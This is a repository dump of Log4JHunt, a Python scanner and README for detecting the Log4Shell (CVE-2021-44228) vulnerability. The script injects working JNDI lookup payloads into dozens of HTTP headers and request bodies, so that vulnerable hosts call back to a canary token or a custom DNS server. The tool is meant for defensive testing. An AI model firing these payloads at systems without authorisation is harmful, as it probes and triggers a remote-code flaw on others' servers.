├── .gitignore ├── .github └── workflows │ └── semgrep.yml ├── LICENSE ├── README.md └── log4jhunt.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.json -------------------------------------------------------------------------------- /.github/workflows/semgrep.yml: -------------------------------------------------------------------------------- 1 | on: 2 | workflow_dispatch: {} 3 | pull_request: {} 4 | push: 5 | branches: 6 | - main 7 | - master 8 | paths: 9 | - .github/workflows/semgrep.yml 10 | schedule: 11 | # random HH:MM to avoid a load spike on GitHub Actions at 00:00 12 | - cron: 27 8 * * * 13 | name: Semgrep 14 | jobs: 15 | semgrep: 16 | name: semgrep/ci 17 | runs-on: ubuntu-20.04 18 | env: 19 | SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }} 20 | container: 21 | image: returntocorp/semgrep 22 | steps: 23 | - uses: actions/checkout@v4 24 | - run: semgrep ci 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2021 RedHunt Labs. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining 4 | a copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Log4JHunt 2 | An automated, reliable scanner for the Log4Shell CVE-2021-44228 vulnerability. 3 | 4 | Video demo: 5 | 6 | [![video](https://user-images.githubusercontent.com/39941993/146507751-b8528c51-9d11-489c-a940-6cfc8241eeb8.png)](https://www.youtube.com/watch?v=7eRNzkbYWf8) 7 | 8 | ### Usage 9 | Here the help usage: 10 | ```js 11 | $ python3 log4jhunt.py 12 | 13 | +--------------+ 14 | Log4JHunt 15 | +--------------+ 16 | 17 | [+] Log4jHunt by RedHunt Labs - A Modern Attack Surface (ASM) Management Company 18 | [+] Author: Pinaki Mondal (RHL Research Team) 19 | [+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr. 20 | 21 | [-] You have to supply at least a single host to scan! 22 | 23 | usage: log4jhunt.py [-h] [-u URL] [-f FILE] [-d DELAY] [-t TIMEOUT] [-T TOKEN] [-E EMAIL] [-W WEBHOOK] [-S SERVER] [-ua USERAGENT] [-m METHOD] [-H HEADERS] [-p PROXY] 24 | 25 | optional arguments: 26 | -h, --help show this help message and exit 27 | -u URL, --url URL URL to probe for the vulnerability. 28 | -f FILE, --file FILE Specify a file containing list of hosts to scan. 29 | -d DELAY, --delay DELAY 30 | Delay in-between two concurrent requests. 31 | -t TIMEOUT, --timeout TIMEOUT 32 | Scan timeout for a single host. 33 | -T TOKEN, --token TOKEN 34 | Canary token to use in payloads for scanning. 35 | -E EMAIL, --email EMAIL 36 | Email to receive notifications. 37 | -W WEBHOOK, --webhook WEBHOOK 38 | Webhook URL to receive notifications. 39 | -S SERVER, --server SERVER 40 | Custom DNS callback server for receiving notifications. 41 | -ua USERAGENT, --user-agent USERAGENT 42 | Custom user agent string to use for requests. 43 | -m METHOD, --methods METHOD 44 | Comma separated list of HTTP Method to use 45 | -H HEADERS, --headers HEADERS 46 | Comma separated list of custom HTTP headers to use. 47 | -p PROXY, --proxy PROXY 48 | HTTP proxy to use (if any). 49 | ``` 50 | 51 | #### Getting a token 52 | The tool makes use of Log4Shell tokens from [Canary Tokens](https://canarytokens.org). The tool has capability to automatically generate tokens, if the values of the token (`--token`) and server (`--server`) are empty. 53 | 54 | Once the token is generated, the token and the auth value are written to a file called `canary-token.json`. 55 | 56 | #### Targets specification 57 | You can specify the targets in two modes: 58 | - Scan a single URL: 59 | ``` 60 | ./log4jhunt.py -u 1.2.3.4:8080 ... 61 | ``` 62 | - Use a file to specify a list of targets: 63 | ``` 64 | ./log4jhunt.py -f targets.txt ... 65 | ``` 66 | 67 | #### Specifying notification channels 68 | There are two ways in which you can receive notification channels: 69 | - email (`--email`) -- service provided by Canarytokens. 70 | - webhook (`--webhook`) -- service provided by Canarytokens. 71 | - custom server (`--server`) -- you own custom DNS callback server. 72 | 73 | Once the tool finds a vulnerable server, notifications would be relayed back to your preferred communication channel. 74 | 75 | #### Sending requests 76 | - You can customize the HTTP methods using `--methods`. 77 | - A custom set of HTTP headers can be specified via `--headers` respectively. 78 | - A custom user agent can be specified using `--user-agent` header. 79 | - You can specfy a custom timeout value using `--timeout`. 80 | - You can specify custom proxies to use in HTTP requests via `--proxy`. 81 | 82 | #### Specifying delay 83 | 84 | Since a lot of HTTP requests are involved, it might be a cumbersome job for the remote host to handle the requests. The `--delay` parameter is here to help you with those cases. You can specify a delay value in seconds -- which will be used be used in between two subsequent requests to the same port on a server. 85 | 86 | #### More details around the Log4J 87 | We have covered more details around Log4j Vulnerability in our [Blog](https://redhuntlabs.com/blog/log4j-vulnerability-things-you-should-know.html). 88 | 89 | ### License & Version 90 | The tool is licensed under the MIT license. See [LICENSE](LICENSE). 91 | 92 | Currently the tool is at v0.1. 93 | 94 | ### Credits 95 | The Research Team at [RedHunt Labs](https://redhuntlabs.com) would like to thank [Thinkst Canary](https://canary.tools) for the awesome [Canary Token](https://canarytokens.org) Project. 96 | 97 | **[`To know more about our Attack Surface Management platform, check out NVADR.`](https://redhuntlabs.com/nvadr)** 98 | -------------------------------------------------------------------------------- /log4jhunt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | #:-:--:--:--:--:--# 5 | # Log4JHunt # 6 | #:-:--:--:--:--:--# 7 | 8 | # Author: Pinaki Mondal (@0xInfection) 9 | # This file is a part of the Log4JHunt tool meant for testing of 10 | # hosts vulnerable to the Log4Shell vulnerability. 11 | 12 | import os, sys, datetime, time 13 | import argparse, requests, urllib3, json 14 | 15 | delay = 0 16 | timeout = 7 17 | proxies = dict() 18 | allhosts = list() 19 | methods = ['GET'] 20 | default_headers = [ 21 | "A-IM", "Accept", "Accept-Charset", "Accept-Datetime", "Accept-Encoding", 22 | "Accept-Language", "Access-Control-Request-Method", "Access-Control-Request-Headers", 23 | "Authorization", "Cache-Control", "Content-Encoding", "Content-MD5", "Content-Type", 24 | "Cookie", "Date", "Expect", "Forwarded", "From", "HTTP2-Settings", "If-Match", 25 | "If-Modified-Since", "If-None-Match", "If-Range", "If-Unmodified-Since", 26 | "Max-Forwards", "Origin", "Pragma", "Prefer", "Proxy-Authorization", "Range", "Referer", 27 | "TE", "Trailer", "Transfer-Encoding", "User-Agent", "Upgrade", "Via", "Warning", 28 | "Upgrade-Insecure-Requests", "X-Requested-With", "DNT", "X-Forwarded-For", "X-Correlation-ID", 29 | "X-Forwarded-Host", "X-Forwarded-Proto", "Front-End-Https", "X-ATT-DeviceId", 30 | "X-Wap-Profile", "Proxy-Connection", "X-UIDH", "X-Csrf-Token", "X-Request-ID", "X-Api-Version", 31 | ] 32 | custom_payload = r"${jndi:dns://${hostname}.%s}" 33 | canary_payload = r"${jndi:ldap://x${hostName}.L4J.%s.canarytokens.com/a}" 34 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 35 | 36 | def get_token(email: str, webhook: str): 37 | ''' 38 | Generate a token automatically 39 | ''' 40 | if not email: 41 | email = '' 42 | if not webhook: 43 | webhook = '' 44 | hbody = '''------WebKitFormBoundaryTTwFOEyKMZZffBne 45 | Content-Disposition: form-data; name="type" 46 | 47 | log4shell 48 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 49 | Content-Disposition: form-data; name="email" 50 | 51 | %s 52 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 53 | Content-Disposition: form-data; name="webhook" 54 | 55 | %s 56 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 57 | Content-Disposition: form-data; name="fmt" 58 | 59 | 60 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 61 | Content-Disposition: form-data; name="memo" 62 | 63 | [Log4JHunt] Log4Shell Token Triggered! 64 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 65 | Content-Disposition: form-data; name="clonedsite" 66 | 67 | 68 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 69 | Content-Disposition: form-data; name="sql_server_table_name" 70 | 71 | TABLE1 72 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 73 | Content-Disposition: form-data; name="sql_server_view_name" 74 | 75 | VIEW1 76 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 77 | Content-Disposition: form-data; name="sql_server_function_name" 78 | 79 | FUNCTION1 80 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 81 | Content-Disposition: form-data; name="sql_server_trigger_name" 82 | 83 | TRIGGER1 84 | ------WebKitFormBoundaryTTwFOEyKMZZffBne 85 | Content-Disposition: form-data; name="redirect_url" 86 | 87 | 88 | ------WebKitFormBoundaryTTwFOEyKMZZffBne--''' % (email, webhook) 89 | hheaders = { 90 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0", 91 | "Accept": "application/json, text/javascript, */*; q=0.01", 92 | "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryTTwFOEyKMZZffBne", 93 | "X-Requested-With": "XMLHttpRequest", 94 | "Origin": "https://canarytokens.org", 95 | "Accept-Encoding": "gzip, deflate, br", 96 | "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", 97 | "Referer": "https://canarytokens.org/generate", 98 | "Sec-Fetch-Site": "same-origin", 99 | "Sec-Fetch-Mode": "cors", 100 | "Sec-Fetch-Dest": "empty", 101 | } 102 | try: 103 | resp = requests.post( 104 | 'http://canarytokens.org/generate', 105 | data=hbody, 106 | proxies=proxies, 107 | headers=hheaders, 108 | timeout=5, 109 | verify=False 110 | ) 111 | except requests.exceptions.RequestException as err: 112 | sys.exit('Error getting Canary Token:', err.__str__()) 113 | 114 | if resp is not None: 115 | with open('canary-token.json', 'w') as wf: 116 | json.dump(resp.json(), wf, indent=2) 117 | 118 | return resp.json()['Token'], resp.json()['Auth'] 119 | 120 | def gen_headers(payload: str, headers: str, user_agent: str): 121 | ''' 122 | Generates request headers with payloads 123 | ''' 124 | xheaders = dict() 125 | if not headers: 126 | for xhead in default_headers: 127 | xheaders[xhead] = payload 128 | else: 129 | for xhead in headers.split(','): 130 | xheaders[xhead.strip()] = payload 131 | if user_agent: 132 | xheaders['User-Agent'] = user_agent 133 | return xheaders 134 | 135 | def gen_post_data(payload: str): 136 | ''' 137 | Generates body based payload for POST requests 138 | ''' 139 | return {'s': payload} 140 | 141 | def scan_host(host: str, headers: dict, params: dict): 142 | ''' 143 | Scans a single host for the vulnerability 144 | ''' 145 | for method in methods: 146 | if method == 'POST' or method == 'PUT' or method == 'PATCH': 147 | try: 148 | requests.request( 149 | method=method, 150 | url=host, 151 | params=params, 152 | data=params, 153 | headers=headers, 154 | timeout=timeout, 155 | proxies=proxies, 156 | verify=False 157 | ) 158 | time.sleep(delay) 159 | except requests.exceptions.RequestException as err: 160 | continue 161 | else: 162 | try: 163 | requests.request( 164 | method=method, 165 | url=host, 166 | params=params, 167 | headers=headers, 168 | timeout=timeout, 169 | proxies=proxies, 170 | verify=False 171 | ) 172 | time.sleep(delay) 173 | except requests.exceptions.RequestException: 174 | continue 175 | 176 | def main(): 177 | print(''' 178 | +--------------+ 179 | Log4JHunt 180 | +--------------+ 181 | 182 | [+] Log4JHunt by RedHunt Labs - A Modern Attack Surface (ASM) Management Company 183 | [+] Author: Pinaki Mondal (RHL Research Team) 184 | [+] Continuously Track Your Attack Surface using redhuntlabs.com/nvadr. 185 | ''') 186 | parser = argparse.ArgumentParser(prog='log4jhunt.py') 187 | parser.add_argument('-u', '--url', dest='url', type=str, help='URL to probe for the vulnerability.') 188 | parser.add_argument('-f', '--file', dest='file', type=str, help='Specify a file containing list of hosts to scan.') 189 | parser.add_argument('-d', '--delay', dest='delay', type=str, help='Delay in-between two concurrent requests.') 190 | parser.add_argument('-t', '--timeout', dest='timeout', type=int, help='Scan timeout for a single host.') 191 | parser.add_argument('-T', '--token', dest='token', type=str, help='Canary token to use in payloads for scanning.') 192 | parser.add_argument('-E', '--email', dest='email', type=str, help='Email to receive notifications.') 193 | parser.add_argument('-W', '--webhook', dest='webhook', type=str, help='Webhook URL to receive notifications.') 194 | parser.add_argument('-S', '--server', dest='server', type=str, help='Custom DNS callback server for receiving notifications.') 195 | parser.add_argument('-ua', '--user-agent', dest='useragent', type=str, help='Custom user agent string to use for requests.') 196 | parser.add_argument('-m', '--methods', dest='method', type=str, help='Comma separated list of HTTP Method to use') 197 | parser.add_argument('-H', '--headers', dest='headers', help='Comma separated list of custom HTTP headers to use.') 198 | parser.add_argument('-p', '--proxy', dest='proxy', help='HTTP proxy to use (if any).') 199 | 200 | args = parser.parse_args() 201 | 202 | if args.url: 203 | allhosts.append(args.url) 204 | 205 | if args.file: 206 | if not os.path.exists(args.file): 207 | print('[-] File %s doesn\'t exist!' % args.file) 208 | parser.print_help(sys.stdout) 209 | sys.exit(1) 210 | else: 211 | with open(args.file, 'r') as rf: 212 | allhosts.extend(rf.read().splitlines()) 213 | 214 | if len(allhosts) < 1: 215 | print('[-] You have to supply at least a single host to scan!\n') 216 | parser.print_help(sys.stdout) 217 | sys.exit(1) 218 | 219 | if args.delay: 220 | global delay 221 | delay = args.delay 222 | 223 | if args.timeout: 224 | global timeout 225 | timeout = args.timeout 226 | 227 | if args.method: 228 | global methods 229 | methods = list(set( 230 | [i.upper().strip() for i in args.method.split(',')] 231 | ) 232 | ) 233 | 234 | if args.proxy: 235 | global proxies 236 | proxies = { 237 | "http": args.proxy, 238 | "https": args.proxy 239 | } 240 | 241 | xpayload, authtoken = '', '' 242 | if args.server: 243 | xpayload = custom_payload % args.server 244 | 245 | if args.token: 246 | xpayload = canary_payload % args.token 247 | 248 | if len(xpayload) < 1: 249 | print('[-] No canarytokens or server given. Generating a new payload...') 250 | if not args.email or args.webhook: 251 | print('[-] You have to supply either an email or a webhook if not mentioning a canarytoken or a custom server!\n') 252 | parser.print_help() 253 | sys.exit(1) 254 | ctoken, authtoken = get_token(args.email, args.webhook) 255 | xpayload = canary_payload % ctoken 256 | print('[-] Got a new canarytoken:', ctoken) 257 | 258 | xheaders = gen_headers(xpayload, args.headers, args.useragent) 259 | xbody = gen_post_data(xpayload) 260 | 261 | tnow = datetime.datetime.now() 262 | print('[+] Started scan at:', tnow.strftime("%m/%d/%Y, %H:%M:%S")) 263 | 264 | for host in allhosts: 265 | if not '://' in host: 266 | host = 'http://%s' % host 267 | print('[*] Processing:', host) 268 | scan_host(host, xheaders, xbody) 269 | 270 | tfin = datetime.datetime.now() 271 | print('[+] Scan finished at:', tfin.strftime("%m/%d/%Y, %H:%M:%S")) 272 | print('[+] Please check your canarytoken history / callback server for DNS triggers from vulnerable hosts.') 273 | if len(authtoken) > 0: 274 | print('[+] Visit "%s" for viewing callbacks!' % 275 | f'https://canarytokens.org/history?token={ctoken}&auth={authtoken}') 276 | print('[+] Total time taken: %ss' % (tfin-tnow).total_seconds()) 277 | print('[*] Done. Log4JHunt is exiting...') 278 | 279 | if __name__ == '__main__': 280 | main() --------------------------------------------------------------------------------